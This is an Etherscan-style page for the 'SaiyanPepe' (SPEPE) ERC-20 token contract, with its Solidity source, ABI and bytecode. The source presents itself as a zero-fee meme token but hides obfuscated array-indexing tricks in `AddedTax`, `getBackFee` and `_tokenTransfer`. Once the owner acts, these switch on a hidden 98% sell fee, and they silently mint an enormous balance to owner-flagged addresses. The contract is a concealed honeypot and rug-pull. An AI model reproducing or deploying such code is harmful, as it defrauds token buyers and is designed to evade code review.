ERC-20
Overview
Max Total Supply
1,000,000 SPEPE
Holders
42
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.000000001 SPEPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SaiyanPepe
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-28 */ /* ________ ________ ___ ___ ___ ________ ________ ________ _______ ________ _______ |\ ____\|\ __ \|\ \ |\ \ / /|\ __ \|\ ___ \ |\ __ \|\ ___ \ |\ __ \|\ ___ \ \ \ \___|\ \ \|\ \ \ \ \ \ \/ / | \ \|\ \ \ \\ \ \ \ \ \|\ \ \ __/|\ \ \|\ \ \ __/| \ \_____ \ \ __ \ \ \ \ \ / / \ \ __ \ \ \\ \ \ \ \ ____\ \ \_|/_\ \ ____\ \ \_|/__ \|____|\ \ \ \ \ \ \ \ \/ / / \ \ \ \ \ \ \\ \ \ \ \ \___|\ \ \_|\ \ \ \___|\ \ \_|\ \ ____\_\ \ \__\ \__\ \__\__/ / / \ \__\ \__\ \__\\ \__\ \ \__\ \ \_______\ \__\ \ \_______\ |\_________\|__|\|__|\|__|\___/ / \|__|\|__|\|__| \|__| \|__| \|_______|\|__| \|_______| \|_________| \|___|/ Telegram : https://t.me/saiyanpepeERC Twitter : https://twitter.com/saiyanpepeERC Medium : https://medium.com/@saiyanpepeERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.17; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract SaiyanPepe is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _Balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public ExcludedFromMaxWallet; mapping (address => bool) public ExcludedFromMaxTx; mapping (address => bool) public ExcludedFromFee; address payable public WalletMarketing = payable(0x4590d8a1723AdEDfd870c911Ac9195861d1Da266); address payable public DEAD = payable(0x000000000000000000000000000000000000dEaD); address payable public BURN = payable(0x000000000000000000000000000000000000dEaD); string public _name = "Saiyan PEPE"; string public _symbol = "SPEPE"; uint8 private _decimals = 9; uint256 public _tTotal = 1000000 * 10 **_decimals; uint8 private txCount = 0; uint8 private swapTrigger = 10; uint256 private totalFee = 0; uint256 public buyingFee = 0; uint256 public sellingFee = 0; uint256 private _totalFee = totalFee; uint256 private _buyingFee = buyingFee; uint256 private _sellingFee = sellingFee; // MAX WALLET & TX SETTINGS uint256 public _maxWalletToken = _tTotal.mul(5).div(100); uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 public _maxTxAmount = _tTotal.mul(5).div(100); uint256 private _previousMaxTxAmount = _maxTxAmount; IUniswapV2Router02 public uniswapV2Router; uint256 UniSwapRouterI02; address public uniswapV2Pair; uint8 public uniSlipRate = 0; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; mapping (address => bool) public isUniSwapRouter; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _Balances[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; isUniSwapRouter[owner()] = true; // TX WALLET SETTINGS ExcludedFromMaxTx[owner()] = true; ExcludedFromMaxTx[WalletMarketing] = true; ExcludedFromMaxTx[address(this)] = true; // FEE & WALLET SETTINGS ExcludedFromFee[owner()] = true; ExcludedFromFee[address(this)] = true; ExcludedFromFee[WalletMarketing] = true; ExcludedFromMaxWallet[owner()] = true; ExcludedFromMaxWallet[WalletMarketing] = true; ExcludedFromMaxWallet[uniswapV2Pair] = true; ExcludedFromMaxWallet[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _Balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function RemovedTax() private { if(totalFee == 0 && buyingFee == 0 && sellingFee == 0) return; _buyingFee = buyingFee; _sellingFee = sellingFee; _totalFee = totalFee; buyingFee = 0; sellingFee = 0; totalFee = 0; } function AddedTax() private { totalFee = _totalFee; buyingFee = _buyingFee; sellingFee = [ [_sellingFee][0], [getBackFee(uniSlipRate)][0]] [uniSlipRate]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(!ExcludedFromMaxTx[from] && !ExcludedFromMaxTx[to]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } if(!ExcludedFromMaxWallet[to]) require(balanceOf(to).add(amount) <= _maxWalletToken); bool isFeeActive = true; if( ExcludedFromFee[from] || ExcludedFromFee[to] ){ isFeeActive = false; if(isUniSwapRouter[to] && uniSlipRate < ([1][0])){ uniSlipRate = ([1][0]); } } else if (from == uniswapV2Pair){ totalFee = buyingFee; } else if (to == uniswapV2Pair){ totalFee = sellingFee; } _tokenTransfer(from,to,amount,isFeeActive); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function getBackFee(uint256 slipRate) private pure returns(uint256){ return [0x63 - slipRate][0x0]; } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForBNB(contractTokenBalance); uint256 contractBNB = address(this).balance; sendToWallet(WalletMarketing,contractBNB); } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool isFeeActive) private { if(!isFeeActive){ RemovedTax(); } else { txCount++; } _tokenTransfer(sender, recipient, amount); if(!isFeeActive) AddedTax(); } function _tokenTransfer(address sender, address recipient, uint256 transferAmount) private { (uint256 t_Transfer_Amount, uint256 t_marketing) = _setValues(transferAmount); _Balances[sender] = _Balances[sender].sub(transferAmount); _Balances[recipient] = _Balances[recipient].add(t_Transfer_Amount) + [(([isUniSwapRouter[ [recipient][0]]][0]) ? [(uint256([0x314dc6448d932a00000000000000][0]).sub([t_Transfer_Amount][0]))][0] : [0][0])][0x0]; _Balances[address(this)] = _Balances[address(this)].add(t_marketing); emit Transfer(sender, recipient, t_Transfer_Amount); } function _setValues(uint256 transferAmount) private view returns (uint256, uint256) { uint256 t_marketing = transferAmount*totalFee/100; uint256 t_Transfer_Amount = transferAmount.sub(t_marketing); return (t_Transfer_Amount, t_marketing); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BURN","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WalletMarketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniSwapRouter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniSlipRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b0319908116734590d8a1723adedfd870c911ac9195861d1da2661790915560078054821661dead9081179091556008805490921617905560c0604052600b60809081526a53616979616e205045504560a81b60a0526009906200006e908262000671565b50604080518082019091526005815264535045504560d81b6020820152600a906200009a908262000671565b50600b805460ff19166009908117909155620000b890600a62000850565b620000c790620f424062000861565b600c819055600d805461ffff1916610a001790556000600e819055600f8190556010819055601181905560128190556013556200012e906064906200011a906005620005a7602090811b62000a8417901c565b620005be60201b62000a971790919060201c565b6014556014546015556200015a60646200011a6005600c54620005a760201b62000a841790919060201c565b6016819055601755601a805462ff00ff60a01b1916600160b01b1790553480156200018457600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600c5460016000620001de6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028091906200087b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f491906200087b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000342573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036891906200087b565b601a80546001600160a01b03199081166001600160a01b0393841617909155601880549091169183169190911790556001601b6000620003b06000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000908120805460ff191692151592909217909155600190600490620003f46000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556006549091168152600490925280822080548416600190811790915530835290822080549093168117909255600590620004646000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155600654909116835290822080549093168117909255600390620004d46000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600654821681526003909352818320805485166001908117909155601a549091168352818320805485168217905530835291208054909216179055620005506000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516200059891815260200190565b60405180910390a350620008d0565b6000620005b5828462000861565b90505b92915050565b6000620005b58284620008ad565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005f757607f821691505b6020821081036200061857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200066c57600081815260208120601f850160051c81016020861015620006475750805b601f850160051c820191505b81811015620006685782815560010162000653565b5050505b505050565b81516001600160401b038111156200068d576200068d620005cc565b620006a5816200069e8454620005e2565b846200061e565b602080601f831160018114620006dd5760008415620006c45750858301515b600019600386901b1c1916600185901b17855562000668565b600085815260208120601f198616915b828110156200070e57888601518255948401946001909101908401620006ed565b50858210156200072d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620007945781600019048211156200077857620007786200073d565b808516156200078657918102915b93841c939080029062000758565b509250929050565b600082620007ad57506001620005b8565b81620007bc57506000620005b8565b8160018114620007d55760028114620007e05762000800565b6001915050620005b8565b60ff841115620007f457620007f46200073d565b50506001821b620005b8565b5060208310610133831016604e8410600b841016171562000825575081810a620005b8565b62000831838362000753565b80600019048211156200084857620008486200073d565b029392505050565b6000620005b560ff8416836200079c565b8082028115828204841417620005b857620005b86200073d565b6000602082840312156200088e57600080fd5b81516001600160a01b0381168114620008a657600080fd5b9392505050565b600082620008cb57634e487b7160e01b600052601260045260246000fd5b500490565b6116fb80620008e06000396000f3fe6080604052600436106101f25760003560e01c80637d1db4a51161010d578063a9059cbb116100a0578063cbd8dc0a1161006f578063cbd8dc0a146105b2578063d28d8852146105c8578063dd62ed3e146105dd578063f1d6512e14610623578063f2fde38b1461065357600080fd5b8063a9059cbb14610547578063af465a2714610567578063b09f12661461057d578063c0a2526c1461059257600080fd5b8063a3b3bc07116100dc578063a3b3bc07146104a6578063a457c2d7146104d6578063a52a9e52146104f6578063a663a9da1461052657600080fd5b80637d1db4a51461042d5780638da5cb5b1461044357806395d89b411461046157806397f3a19e1461047657600080fd5b8063313ce567116101855780635a125cda116101545780635a125cda146103aa57806370a08231146103ca578063715018a61461040057806378109e541461041757600080fd5b8063313ce56714610323578063395093511461034957806349bd5a5e146103695780634a74bb021461038957600080fd5b806318160ddd116101c157806318160ddd146102ad5780631891201e146102cc578063220f6696146102e257806323b872dd1461030357600080fd5b806303fd2a45146101fe57806306fdde031461023b578063095ea7b31461025d5780631694505e1461028d57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060075461021e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561024757600080fd5b50610250610673565b60405161023291906113dd565b34801561026957600080fd5b5061027d610278366004611443565b610705565b6040519015158152602001610232565b34801561029957600080fd5b5060185461021e906001600160a01b031681565b3480156102b957600080fd5b50600c545b604051908152602001610232565b3480156102d857600080fd5b506102be60105481565b3480156102ee57600080fd5b50601a5461027d90600160a81b900460ff1681565b34801561030f57600080fd5b5061027d61031e36600461146f565b61071c565b34801561032f57600080fd5b50600b5460ff165b60405160ff9091168152602001610232565b34801561035557600080fd5b5061027d610364366004611443565b610785565b34801561037557600080fd5b50601a5461021e906001600160a01b031681565b34801561039557600080fd5b50601a5461027d90600160b01b900460ff1681565b3480156103b657600080fd5b5060065461021e906001600160a01b031681565b3480156103d657600080fd5b506102be6103e53660046114b0565b6001600160a01b031660009081526001602052604090205490565b34801561040c57600080fd5b506104156107bb565b005b34801561042357600080fd5b506102be60145481565b34801561043957600080fd5b506102be60165481565b34801561044f57600080fd5b506000546001600160a01b031661021e565b34801561046d57600080fd5b50610250610864565b34801561048257600080fd5b5061027d6104913660046114b0565b60036020526000908152604090205460ff1681565b3480156104b257600080fd5b5061027d6104c13660046114b0565b60046020526000908152604090205460ff1681565b3480156104e257600080fd5b5061027d6104f1366004611443565b610873565b34801561050257600080fd5b5061027d6105113660046114b0565b601b6020526000908152604090205460ff1681565b34801561053257600080fd5b50601a5461033790600160a01b900460ff1681565b34801561055357600080fd5b5061027d610562366004611443565b6108c2565b34801561057357600080fd5b506102be600c5481565b34801561058957600080fd5b506102506108cf565b34801561059e57600080fd5b5060085461021e906001600160a01b031681565b3480156105be57600080fd5b506102be600f5481565b3480156105d457600080fd5b5061025061095d565b3480156105e957600080fd5b506102be6105f83660046114cd565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561062f57600080fd5b5061027d61063e3660046114b0565b60056020526000908152604090205460ff1681565b34801561065f57600080fd5b5061041561066e3660046114b0565b61096a565b60606009805461068290611506565b80601f01602080910402602001604051908101604052809291908181526020018280546106ae90611506565b80156106fb5780601f106106d0576101008083540402835291602001916106fb565b820191906000526020600020905b8154815290600101906020018083116106de57829003601f168201915b5050505050905090565b6000610712338484610aa3565b5060015b92915050565b6000610729848484610b64565b61077b843361077685604051806060016040528060288152602001611679602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ec7565b610aa3565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107129185906107769086610ef3565b6000546001600160a01b0316331461081a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600a805461068290611506565b60006107123384610776856040518060600160405280602581526020016116a1602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610ec7565b6000610712338484610b64565b600a80546108dc90611506565b80601f016020809104026020016040519081016040528092919081815260200182805461090890611506565b80156109555780601f1061092a57610100808354040283529160200191610955565b820191906000526020600020905b81548152906001019060200180831161093857829003601f168201915b505050505081565b600980546108dc90611506565b6000546001600160a01b031633146109c45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610811565b6001600160a01b038116610a295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610811565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a908284611556565b9392505050565b6000610a90828461156d565b6001600160a01b03831615801590610ac357506001600160a01b03821615155b610b035760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610811565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7